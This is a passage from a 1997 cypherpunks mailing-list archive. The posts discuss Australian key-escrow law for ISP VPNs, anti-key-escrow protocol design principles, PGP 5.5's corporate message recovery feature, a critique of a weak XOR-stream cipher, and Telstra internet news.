messages going through your network. If you're preparing a VPN trial
with something like Data Fellows' F-Secure VPN software, which doesn't
allow for key recovery, then you're up the proverbial creek as regards
your obligations under this new law. You'll have to keep an extra key
for the Feds, ASIO, NCA etc, and only use cryptography software that
includes key recovery.

You'll also have to be involved in a lengthy approval process with the
Attorney-General's department and the ACA, which is dangerously
open-ended. The system will be that you have to submit your plans for
new secure network products every year, and the law enforcement agencies
have a set amount of time to protest that they can't access it. This
process will add three months, at minimum IMHO, to the development of
new services.

And yes, INTIAA has been keeping an eye on it, but they've been getting
the wrong information from the Department of Communication. I wouldn't
say they've been lied to, but they've been given the wrong end of the
stick.


- -- START STORY [from PC Week Australia, October 17, pp 1/38]

New Law Hurts Net Security
Security forces want access to encrypted ISP traffic
By Paul Montgomery
[reproduction for commercial purposes not allowed etc etc]

The Virtual Private Network (VPN) revolution in Australia is being
undermined by new legislation from the Liberal government that would
weaken security on communications passing through Internet service
providers (ISPs).

The Telecommunications Legislation Amendment Bill, which went to a
second reading in the Senate last week, is aimed at giving government
agencies such as the Federal Police, ASIO and the National Crime
Authority access to data and voice traffic-and ISPs will have to fund
its implementation.

The bill threatens ISPs' ability to provide secure remote access and VPN
services, by compelling them to include an extra cryptographic key for
police, in a weakened version of encryption that is called "key escrow".

Any modifications needed to encryption technology would not only weaken
security, but mean extra costs passed on to corporate customers.

Senator Richard Alston, the Minister for Communications, the Information
Economy and the Arts, said in a speech to the Senate that interception
was an "essential service" and that Attorney-General Daryl Williams
would be given the power to determine the specifics of the proposed
law's effect.

Senator Alston recently took over policy coordination for cryptography
(see PC Week, October 3, page 12), but the decision on this bill was
made back in March.

"The introduction of some new telecommunications services have been
significantly delayed, with obvious adverse consequences for business
and consumers," Alston said, which sources say is a reference to
Telstra's OnRamp ISDN service.

Alston also hinted that the government was lobbying switch vendors, at
an international level, to include interception capabilities in their
equipment.

Chris Cheah, assistant secretary of the networks policy branch at
Senator Alston's department and one of the officials involved in
drafting the bill, confirmed that the bill applied to ISP-encrypted VPN
and remote access services.

"If [ISPs] are offering VPNs which have built-in encryption, and they're
saying to their customers that they will deliver in a secure form to a
person at the other end, then they will have to provide decryption,"
Cheah said.

He stressed, however, that there would be no requirement for an ISP to
decrypt an end user's own encryption.

Telstra, OzEmail, Access One, Connect.com.au and Magna Data are already
offering VPNs, expected to be a lucrative market for network
outsourcing, but a central part of the technology is the security gained
from scrambling messages with strong cryptography, using such products
as F-Secure VPN from Data Fellows (see page 16).

Danny Ng, business development manager for Internet and intranet at Bay
Networks, said that because Internet access is not an inherently
high-margin business, many ISPs were looking to differentiate themselves
by offering outsourced remote access or VPN services.

"VPN technology is evolving very quickly, and one of the cornerstones to
it is security, which usually means encryption," Ng said.

For major carriers such as Telstra, the delivery point could be the
local exchange closest to the agency wanting the interception, but it
would most likely remain at the premises for smaller ISPs, according to
Cheah.

"If ISPs want to get into serious carriage service provision, they will
be subject to the same provisions as telcos. That means being able to
provide interception capabilities," Cheah said.

The bill also removes the burden of keeping up with Internet technology
from police and security agencies by ordering ISPs to prepare annual
reports on their plans for new crypto services.

Luke Carruthers, secretary of ISP representative body INTIAA (Internet
Industry Association of Australia), said that the impression he had from
meetings with the government on the bill was that ISPs would not have to
decode encrypted transmissions.

INTIAA is meeting with the Australian Communications Authority and the
government this week to work out the details of the legislation.
Carruthers will argue the ISPs' case.

"I would expect this issue to be taken up fairly strenuously by the
people who it affects the most," he said.

- -- END STORY

- -- 
Paul Montgomery, Net journalist for PC Week, lives like a JavaBean.
mailto:monty@apnpc.com.au Tel: +61-2-9936-8793 Fax: +61-2-9955-8871

------- End of Forwarded Message







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 15 Oct 1997 02:42:53 +0800
To: frantz@netcom.com
Subject: Re: proposal: commercial data recovery
In-Reply-To: <v0300780cb06943af6a1f@[207.94.249.37]>
Message-ID: <199710141811.TAA04798@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Bill Frantz <frantz@netcom.com> writes:
> At 2:37 AM -0700 10/14/97, Adam Back wrote:
> >...
> >2. second crypto recipients on encrypted communications are not
> >   used to allow access to third parties who are not messaging
> >   recipients manually selected by the sender
> >...
> >
> >Included in 2) is the principle of not re-transmitting over
> >communication channels keys or data re-encrypted to third parties
> >after receipt -- that is just structuring -- and violates design
> >principle 2.
> 
> This requirement tries to enforce something which can not be enforced by
> technical means.  That is, when you send another person some data, there is
> no technical way you can prevent them from using it however they want.  For
> example, a user can always program his filters (given something like
> procmail) to send decrypted data anywhere he wants.

I agree with that statement entirely.

The principle has deeper meaning than your point.  It acknowledges
that there are limits to what can be done to enforce things in
software.  What it argues is that you should enforce what you can
where this helps you to make your software less useful to GAKkers
without modifications.  So if this means that the GAKkers can't use
your software with out getting you to re-write it, or without making
the modifications themselves this is good because fielded systems have
intertia.  It takes time and costs money to make software updates,
doubly so where people will be hostile to those updates.  People who
would otherwise not care about GAK will suddenly "care" because they
are too lazy to update their system, or becaues the update will cost
them money.


Btw. Lest it is not clear, when I say "should" in this discussion of
the anti-GAK protocol design process I mean "should" according to my
CDR or "anti-GAK" protocol design principles.  If following these
principles causes you to have non functioning or unsaleable designs,
and when this occurs you should still try to violate as few of the
design principles as possible.


So for your .procmail filter example: what the principle says is that
you should make it as non-automatable as possible in your software to
do this redirection in electronic form.  The danger about automated
redirection in electronic form is that there will be a nice little box
saying for you to type: "recovery@lazarus", where lazarus is the
address of the recovery machine on your LAN, but then the GAKkers can
pass laws and all the people who bought your software will be
automatically able to comply by filling in that box with
"thoughtpolice@nsa.gov"; alternately the GAKkers may buy your software
for re-sale in Iraq and then fill in the field with or
"thoughtpolice@mil.iq", with the result that Iraqis.

So for example with your .procmail example: the email client should
decrypt the traffic with short lived keys to provide forward secrecy,
and re-encrypt the plaintext for storage in your mail folder with a
recoverable key (presuming you want corporate data recovery of your
mail folder in case your dog chews your smart card key token).

Forwarding of email at the .procmail level won't help the GAKkers in
this case because the email is still encrypted; and the anti-GAK
protocol design principles state that the encrypted message should be
encrypted to one recipient only: you.

The anti-GAK design principles also mean that you should offer no
tools to decrypt from the command line.  This ensures that GAKkers
will be hindered from using software provided by you to cobble
together a GAK system, without writing and distributing software
themselves.

Think of the CDR or anti-GAK software principles as attempting to
codify your natural predilections as a GAK hating protocol designer.
They codify how best to design your software to hinder GAKkers.


Clearly the GAKkers can pass a law saying that you must manually
forward each of your emails after decryption to them, but if the
software provides no easy way to automate this process they are asking
the impossible if there are 10 million US citizens using the software.

Contrast this to PGP Inc's CMR design where all that is required is a
change to one field for completely automated over the wire key word
searches.

> N.B. I applaud Adam's direction of building the data recovery businesses
> need without helping 3rd parties engage in undetected snooping.  Keeping
> the decryption keys (if data is not stored in the clear) near the
> legitimate copies seems to be a useful step in this direction.

I like your locality point.

It is something I had not earlier considered had more than binary
meaning (communicated or not ever communicated).  However it does.
The Frantz corollary to the anti-GAK protocol design principles is
then:

i)  recovery information should be kept as close to the data as possible

ii) if recovery information is moved it should in preference not be
    transferred using over communications networks, and should
    not be transferred automatically by the software without requiring
    human interaction.


You can see that this design principle leads to some at first
apparently absurd requirements, but actually they are all sensible and
pertinent.  If the software requires user interaction to transmit
recovery information this means therefore that it should not be
possible with the software as is to write automatic scripts; this
contributes to the uselessness of the software to the GAKkers.

Of course there are ways around everything (eg. scripting software
which allows mouse and keyboard actions to be automated); but we are
trying to avoid easy cobbling together actions by the GAKkers allowing
them to convert our software designed under anti-GAK principles into
one which can then becomes automated GAK system.


Also clearly there is some user intelligence required in the design
process to work out functionalities it is worth forgoing where it
comes to this by comparing their potential value to the GAKker against
the ergonomic or utility advantage to the user.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 15 Oct 1997 01:33:13 +0800
To: cypherpunks@cyberpass.net
Subject: Telstra Australia admits it lied about net
Message-ID: <199710141716.TAA18754@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



http://www.australian.aust.com/computer/fulltext/c1014b.htm

         Telstra: We were wrong about Net
         By GEOFF LONG 

October 14: A Telstra official has admitted that the carrier
overestimated the congestion problems associated with the Internet,
one of the prime reasons given when it wanted to introduce timed local
calls.

Speaking at the launch of Telstra's Big Pond Business services, Big
Pond general manager John Rolland said congestion caused by Internet
users connecting for long periods was not as big an issue as they
first thought.

He added that the about-face was in line with similar findings from
North American carriers and switch manufacturers Alcatel and Ericsson.

Mr Rolland said that the main problem areas are where ISPs are
situated, but that these were manageable: "What is clear is that in
the medium term we will have hot spots, especially around ISPs."

However, these could be addressed by working with the ISPs and
managing connectivity better.

The remarks came in response to Telstra promoting permanent modem
connections as part of its Big Pond Business offering.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Randall Farmer <rfarmer@HiWAAY.net>
Date: Wed, 15 Oct 1997 09:13:14 +0800
To: Cypherpunks List <cypherpunks@toad.com>
Subject: Re: Encryption Program
Message-ID: <Pine.OSF.3.96.971014193558.16804C-100000@fly.HiWAAY.net>
MIME-Version: 1.0
Content-Type: text/plain



Although I don't know the PRNG in Visual Basic (the one 3dmx uses) well enough 
to do much real analysis, the description of an attempt to correct a problem in
it shows a weakness in the "enhanced" version...here's a slightly
abridged/clarified copy of the message I sent the author about it.

-------------------------------------------------------------------------------
<headers snipped>

...
>     While it is true that PRNG's are not very good,

Well, there isn't any big problem with PRNGs as a class -- RC4 is based on a
PRNG, and it's okay to use as long as you know its limitations (i.e., just so 
you don't try using the same key twice or anything similarly silly).

...  
> I believe I found a way around that problem...I used a syst[e]m of cubic 
> arrays. The program first creates sixteen cubic arrays, and fills them one
> space at a time with random characters. When the stream of characters to be
> XORed with the plaintext is generated, it picks a random cube and a random
> location with[in] that cube. 

I can't do much real analysis since I don't know how Visual Basic's PRNG works,
but with a truly secure PRNG like one you would see in a good stream cipher,
you can't predict x bits of the PRNG's output with more than 1/2^x probability
of bring right without doing exhaustive search of the keyspace.

However, your arrays almost surely won't be filled with the *exact* same
quantity of each character, so, even if the bytes in your PRNG's output are
selected randomly from the arrays, some bytes are more likely to be a byte in
your "enhanced" PRNG's output than others. Therefore, given a bunch of the
stream, one can guess the next 8 bits of the PRNG's output with more than 1/256
probability of being right, meaning your PRNG doesn't fit the bill.

To sum it up, no matter what Visual Basic's PRNG does, that method *can't* be
100% secure. 

...

---------------------------------------------------------------------------
Randall Farmer
    rfarmer@hiwaay.net
    http://hiwaay.net/~rfarmer






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 14 Oct 1997 18:57:23 +0800
To: semprini@theschool.com
Subject: Re: Encryption Program
In-Reply-To: <199710130820.BAA29369@k2.brigadoon.com>
Message-ID: <Pine.LNX.3.93.971014200622.1503B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 13 Oct 1997 semprini@theschool.com wrote:

> Hello. I just posted an encryption program on the web. It uses a key-
> generated pseudorandom stream of characters that get XORed with the 
> plaintext to produce the cyphertext.

Why do peaple keep posting examples of this lame cryptosystem?  I mean how
meany examples of XOR with the output of a pydorandom strame do we have to
see? 

Semprini please find some good books on Crypto (and read the sci.crypt
FAQ) to see why what you have done is week.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBNENE1qQK0ynCmdStAQGoQAQA1HWIeTuCIhOKSc+owY7tkgp/ENlIXy5r
J3Wy5pF7JuopRrR7F0xoj3Y3hv/IAcXFD2jhjziAGdqiqQR+hnTQWJZHROB/G+4v
osAFM1v/2aOTV8gLca+xRDYpVVt+wWy0dWOHYrKIebEldnnhFVJp5fRSngdjqcjY
yLB7BqVFFBk=
=RQN1
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Tue, 14 Oct 1997 18:47:55 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Suicides don't forfeit their property
In-Reply-To: <v03102800b06881a010f4@[207.167.93.63]>
Message-ID: <Pine.LNX.3.93.971014202632.1503E-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Mon, 13 Oct 1997, Tim May wrote:

[...]

> >Suicide is illegal in most "democracies" 

> This would be a nice example if it were true. But it isn't true in the
> U.S., for example.

It is legal in Austrailia.  However I belave that suiside should be made
illegal and should always be punshied by the death penity.


- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBNENJdKQK0ynCmdStAQHLuQQAmrDIjCIoWW7Gt3Xd+HdSI9k+nZa8jXie
zo5T4Djr6sPvc2EpYoE9Z0rn7z16ce9LfannfbpI2xY8KXQ5rxZOyKStGjzPMCh8
R7xEpqCfTxNq0kHpm+VIltDx/qeqFSrnNG2YWdZ210mAd/8Jt4+iysNLMUIMMC+b
rpBuPtjTCfQ=
=NO16
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 15 Oct 1997 13:13:00 +0800
To: Lucky Green <aba@dcs.ex.ac.uk>
Subject: Re: Just say "No" to key recovery concerns...keep OpenPGP pure
In-Reply-To: <199710150138.CAA09580@server.test.net>
Message-ID: <v03102803b069f989d978@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




I'll try a different way of making my points...

At 9:12 PM -0700 10/14/97, Lucky Green wrote:

>I can't help but see a difference between enforcing to encrypt to a
>default key and storing the user's key outright. IMHO, the former entails
>less potential for abuse.

All other things being equal, maybe the former is slightly less intrusive
than the latter. But maybe not even this, as the two give the same results.
After all, what's the real difference between "all mail, incoming and
outgoing, must also be encrypted to a CMR key" and "you must deposit a copy
of your key with us"?

And things are most definitely not equal, in the "all other things being
equal" sense.

To wit, with the "storing a user's key outright" approach, if thousands of
companies and whatnot are doing this, there will be a mishmash, a welter,
of confusing, conflicting, byzantine arrangements. Some employees will
store their mandated spare keys in the department safe, some will put them
in "open upon my death" envelopes, some will "forget" to update the files
with their latest keys, and so on.

With this chaotic and anarchic approach, of "let a thousand solutions
bloom," Big Brother will have the devil of a time forcing GAK/GMR
(_Government_  Message Recovery_).  It's essentially the chaotic, anarchic,
non-system being used today. (And I've seen little evidence corporations
are collapsing; as noted in several messages, very few pieces of e-mail are
terribly critical, and even fewer can't be recovered from local files...the
market for CMR is for law enforcement and e-mail snoopers.)

By contrast, a CMR system BUILT INTO PGP (!) will potentially become
widespread, especially if support of the non-CMR-compliant version
languishes. Or, God forbid, CMR is mandated (perhaps by "Standard
Accounting Practices" sorts of pseudo-mandates).

I'll take the chaotic and anarchic solution.

And no matter how "elegant" PGP Inc.'s solution is--which I reserve
judgement on, not having studied in as much detail as, say, Adam Back
has--no matter how "elegant," it is still building a dangerous tool for
surveillance into a widely-deployed product.

--Tim May




The Feds have shown their hand: they want a ban on domestic cryptography
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
ComSec 3DES:   408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^2,976,221   | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Stefan D. Wolf" <sw@cryptosoft.com>
Date: Wed, 15 Oct 1997 04:50:38 +0800
To: cypherpunks@cyberpass.net
Subject: info
Message-ID: <3443D640.2871@cryptosoft.com>
MIME-Version: 1.0
Content-Type: text/plain







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Wed, 15 Oct 1997 10:43:08 +0800
To: Lucky Green <tcmay@got.net>
Subject: Re: Just say "No" to key recovery concerns...keep OpenPGP pure
In-Reply-To: <v03102800b06978017bc1@[207.167.93.63]>
Message-ID: <3.0.2.32.19971014223017.006d0c04@ece.eng.wayne.edu>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

>[Sidetrack: which is of course why PGP had to find another solution to
>present to those customers already using GAK. IMHO, and I can't help but
>be a bit surprised that I find myself in the minority on this
>issue, at least as far as the list is concerned. What PGP did was
>_elegant_.]

Actually, I think you'll find that most people on the list think PGP's method 
is better than a lot of other things.  It is elegant.  But, as Adam has been 
pointing out, there are better methods. :-)




-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQCVAwUBNEQquDc3ytqHnNyNAQGHvwP+JYTOg5IhciQ9Evm7W9jrmwxx8DNb7oww
n2KTeveEIj6K2lHksLZHvbT7//zfTXcol7IiPoHSnoHL6Z6Q6af6+7O5I9VwPNWo
+jGOLpbCFtdpvniaeugLCaji5/oQTx9HMu05n5Gj+iERShesCiXJaSU7CBq6qRi5
4iFmn7nxNkU=
=Ej6P
-----END PGP SIGNATURE-----


-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu         
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Wed, 15 Oct 1997 06:58:44 +0800
To: smith@securecomputing.com
Subject: Re: proposal: commercial data recovery
In-Reply-To: <v03007804b0697514e0e4@[172.17.1.150]>
Message-ID: <199710142242.XAA08180@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Rick Smith <smith@securecomputing.com>
> Regarding the practical uses of e-mail key disclosure, let me include one
> from the guard/firewall world that I haven't seen mentioned yet:
> 
> We've been shipping products since 1994 that scan the contents of e-mail
> messages and reject contents that violate specified filtering criteria.
> Sites use it to block importation of viruses or other inappropriate
> attachments, and to block the export of improperly released information.
> Most of these systems have been sold to the government and use the Message
> Security Protocol to encrypt data. The system rejects messages that don't
> contain an extra key so that the firewall can scan message contents.

I'm not sure whether pgp5.5 has this ability to screen messages prior
to reading, and also not sure whether it has the ability to snoop
messages prior to sending built in.

The basis is there for the functionality in the enforced second
recipient, but I'm not sure whether the client, or SNMP management
tools, or SMTP policy enforcer implement this functionality.

I'd welcome clarification from PGP Inc., employees, or anyone in the
US has tried the pgp5.5 software for business suite.

> This violates the assumed requirement that the contents of an e-mail
> message must not be viewed by anyone except the message's author and
> recipient.

It does yes.  And that demonstrates that the principle is achieving
it's function in high-lighting areas of a design which could be used
for GAK purposes.

> However, it's a security trade-off that some organizations want to
> make for certain applications.

Absolutely.  You should try hard though to see if there are any
software hacks or protocol reorganisations you can do to make the
system unusable for GAK, or as close to unusable as you can.

> PGP's key recovery protocol isn't the perfect solution, but it would help
> resolve a big problem.

Where that problem is can messages be screen by processes?  One
solution if you restrict yourself to processes is to move the function
to the client and scan after decrypt.  This isn't as easy to integrate
into existing MUAs but would be possible for fresh re-writes like
pgp5.x clients.

If you want ability for humans to scan messages manually as well, and
you can't live with the modifications in the client, you can do this
within the CDR design principles:

Have all email received by the company encrypted to the companies
public key.  Have your virus filter/human screener check the email,
and then pass on to user in clear, or pass on to user encrypted with
users key.

Actually this is more secure than your solution, because the client
already has an in memory master key; and now you have one crypto
recipient rather than two to blow your security for you by allowing
inadvertent key compromise.

For outgoing email, configure the mail client plugin to either send in
plain-text, or to sign only (one hopes with non escrowed signature
keys, else your MIL friends will be able to forge each others mail),
or to encrypt to the outgoing filtering agent, and have the outbound
mail hub filter, or forward to human screener content checking.

CDR compliant.  Has some extra resistance to GAK corruption.

As an additional application of CDR anti-GAK principles you could do
the small software hack of allowing the clients and/or mail filtering
agents to only communicate with each other if the machine IP addresses
look like they are on the same mail hub.

Don't provide source.  (I suspect your company doesn't anyway for this
kind of app, or do MIL people like to inspect source?)

So now your system has a number of extra protections against being
used for GAK.  They are not perfect, but you've done what you can, and
it's a definate improvement over what you had before.


However I'm not sure it matters for your application really whether it
is GAK compliant or not.  This is because your application sounds like
it is mainly for defense contractors, and MIL or NSA type use.  As far
as I'm concerned that lot deserve GAK.  Keep themselves honest :-)

> To send mail through these systems, the users must be trained to
> include the firewalls as message recipients -- this produces a copy
> of the symmetric key encrypted with the firewalls' individual PKs.
> If a user forgets, then the message can not pass through. The PGP
> approach of warning or demanding another PK token would help solve
> that problem at least in simple cases.

You can acheive the same functionality by insisting on mail being
encrypted for the firewall.  Firewall can re-encrypt for intended
user.

> ObPolitics: Personally, I think it's too soon to tell if PGP's
> implementation would benefit the FBI in its pursuit of wiretapping keys. At
> most it might resolve whether such mechanisms are in fact a practical
> technology. I'm not yet convinced.

I think you have a point there and that it's not entirely clear how
this would work out.

> Also, if commercial sites have already co-opted PGP's recovery key for
> their own uses, it's not clear that the FBI will be able to use it for
> clandestine investigations. If they approach the site's IS managers to
> acquire copies of the firewall keys, there's a good chance a rumor will get
> back to the people being targeted for surveillance. 

I don't think that's the way it will work.  What they'll do is require
SEC cleared companies to provide this key as a matter of law to the
government.  If cheating is detected the bosses will get prison terms.
Then they'll slowly spread it from SEC cleared firms to other
companies.  Maybe Public companies.  Then they'll create a reichstag
fire FBI constructed publicity type cases; perhaps money laundering,
or purported mafia front business as an example of a public threat
from allowing companies to communicate without escrow.  Individuals
too, some terrorist cases, a few more large scale bombings.  No
problem.

If PGP provided facility for multiple enforced extra crypto
recipients, it would be even more GAK compliant, as companies could
just put a NSA key into the recipient box.


The CDR design principles also apply to standards.  Standards are very
powerful things.  If OpenPGP requires capability to understand and
encode to second crypto recipients which are not message recipients
for conformancy, we are in trouble also because all clients will then
be required to make GAK easier to enforce; the capability is right
there in pgp5.0 and pgp5.5 now.

If on the other hand the OpenPGP standard does not include the second
non message recipient crypto recipient feature, then companies who do
chose to do so must build up their own client base outside of the
installed client base, because they won't be able to build
GAK and have interoperability at the same time.

(We'll see whether or not PGP argue for this feature to go in the
standard in a bit, when the draft standard is released, and
discussions commence).

Also remember that another danger with GAK software is that your
country might be too liberal for the government to get away with
various things, but others aren't.

We don't want to encourage civil rights abuses.  In some countries
saying non-government approved thoughts results in prison terms,
torture, and painful death.

> Also, I believe the overhead for separate eavesdropping keys would
> produce too clear a sign to everyone that the FBI is
> listening. There is no precendent for such a thing and even if it's
> adopted temporarily I doubt it will persist. People will notice, it
> it will make them mad -- it will show them that the FBI is indeed
> under everyones' bed. Even the FBI can't stand up against broadly
> based grassroots pressure. Of course, I've been wrong before about
> politics.

Well I hope you're right of course, but I feel PGP could do more to
prevent the scenario I present above, which I feel is fairly
realistic.

I also hope I have provided some worked examples of the logic in
applying the CDR design principles.

(They are counter-intuitive sorts of principles to work with because
they are all negatives: don't do this, don't do that, no
recommendations as such on what _to do_.  This is because what you do
is explore the solution space outside of the restriction they apply on
it.  They are also strange in that it is unusual to see formally
codified cryptographic property design principles which reflect
entirely a political issue.  Must me a first :-)

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 15 Oct 1997 15:43:41 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Telstra Australia admits it lied about net
In-Reply-To: <199710141716.TAA18754@basement.replay.com>
Message-ID: <3.0.3.32.19971014235437.006f93d4@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



According to an article in today's Mercury News or SFExaminer,
Telstra has also decided that 70% of the bits on US-Australia
Internet connections are now going from Australia to the US
rather than the earlier ~100% US->Australia direction -
so it wants a major reevaluation of who pays for the
trunks connecting the Internets in the two countries
(currently Telstra pays most of the costs.)

>http://www.australian.aust.com/computer/fulltext/c1014b.htm
>         Telstra: We were wrong about Net
>         By GEOFF LONG 
>October 14: A Telstra official has admitted that the carrier
>overestimated the congestion problems associated with the Internet,
>one of the prime reasons given when it wanted to introduce timed local
>calls.
>
>Speaking at the launch of Telstra's Big Pond Business services, Big
>Pond general manager John Rolland said congestion caused by Internet
>users connecting for long periods was not as big an issue as they
>first thought.

				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 15 Oct 1997 16:08:40 +0800
To: cryptography@c2.net
Subject: Technical Description of PGP 5.5
Message-ID: <3.0.3.32.19971015004322.0068ca64@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



Jon Callas presented a technical description of PGP5.5 at this 
month's Bay Area Cypherpunks meeting, as well as flak catching on the 
politics discussion; Phil Zimmermann and other PGP folks also helped.
This posting is an attempt to summarize the technical parts
and leave the politics for other messages.  Perhaps there's been some
technical discussion on OpenPGP, but feel free to forward this there if not.

1) PGP 5.5 API Toolkit -  It's the core of the PGP5.5 GUI and SMTP tools.
	It'll be out Real Soon Now.  It's a major change from the 
	PGP 5.0 Toolkit, which is based on ViaCrypt's older code.
	The toolkit knows about all the features in the message
	formats, so even if the application programs from PGP
	don't provide a given friendly or hostile feature,
	you can still write it yourself, and so can the Bad Guys.

2) PGP 5.* message format - unchanged - uses the multiple recipients,
	without any indication of or dependence on relationships
	between the recipients.  The format is approximately
		Recipient Record 1 - KeyID1, E(sessionkey, PubKey1)  ....
		Recipient Record N - KeyIDN, E(sessionkey, PubKeyN)
		Message - E(Message, sessionkey)
	KeyID is the 32-bit KeyID, rather than a fingerprint.
	I don't know if the format or the PGP 5.x software can 
	generate or accept messages with recipient records for
	two different keys with the same keyid (or whether it matters
	if the keys are for DH*, RSA, or both.)
		* DH can be spelled "E L  G A M A L" -- Blame Cylink :-)

	While 5.0 did introduce new data formats, they're not stealthy,
	and features like the SMTP filters depend on being able to
	know how many recipient-key records a message contains,
	where their boundaries are, and what their KeyIDs are.

3) PGP 5.* public key format - The 5.5 features are actually present 
	in the 5.0 key record formats, but there wasn't any 
	implementation that used the extra fields.  
	The record for keys is about like this, though I may have some
	of the details wrong.  The record for the RSA Keys uses the 
	old format; this format is for newer keys.

	Key Record type 
	KeyID
	UserName
	Algorithm ID - the interesting combo is ElGamal and DSA
	Encryption Key
	OptionalCMRK_1: (Mandatory/Optional flag1, Msg Recovery KeyID1)
	 .....
	OptionalCMRK_N: (Mandatory/Optional flagN, Msg Recovery KeyIDN)  
		(Note: the format allows multiple records, PGP5.5 only 
		generates one, though it might accept and use multiple.
		Nobody indicated whether more than one CMRK indicates
		that the sender should encrypt to all CMRKs, pick one,
		or do something interesting like secret-share.)
		(Note: the KeyID is a 32-bit KeyID, not the full 
		fingerprint, 	which has amusing deadbeef attacks. 
		(Unless I remembered wrong.))
	Signature Key 
	Self-Signature on (Encryption Key, Signature Key, UserName)
		(I don't know if the self-signature includes the CMRKs,
		but I think it includes the user names.)
	Optional_Signature_1: (Signature KeyID1, Signature1)  .....
	Optional_Signature_N: (Signature KeyIDN, SignatureN) 
		(I don't remember if it's just the KeyID or the 
		full fingerprint.)
		(Note: Signatures are only on the signature key,
		so you can change the encryption key and keep your
		collection of web of trust signatures; this is secure
		because the encryption key is signed with YOUR sig key,
		and your sig key is signed by your friends' sig keys.)

	The signature structure is interesting, since it lets you
	implement forward secrecy somewhat conveniently - 
	just change your encryption key.  	I don't know if the 
	5.0 / 5.5 implementations can easily handle multiple
	records for the same KeyID, so there may be some 
	transition issues, but that's an implementation question, 
	not a data format question.

	The CMRK** is obviously the new and controversial feature.
	The key is attached to the recipient's key, not the 
	sender's program, which has some implications in who 
	has to participate in any message escrow activities 
	and where they take place.  To some extent this is planned, 
	and to some extent it's just the consequences of what parts 
	of the system you have control over and what you don't.
	This approach has the recipient publish a CMRK KeyID,
	and has the sender decide whether to use it,
	rather than having the sender's system specify who 
	gets the CMR copy.  
	- Since this is the data format, it doesn't have any control 
	over what the sender really does; 	any enforcement is in the 
	sender's or recipient's client or in the SMTP mail filters.  
	- The format just contains the CMR KeyID, not the key itself;
	looking up the key is a separate job.
		(** Corporate Message Recovery Key?  Cover My Rear Key?)

	NOT TALKED ABOUT, but possibly relevant: www.pgp.com says:
		"Using PGP's Administrative Wizard, for example, 
		administrators can set key generation configurations; 
		require encryption for all email messages sent by a set 
		of users; enable corporate message recovery; and 
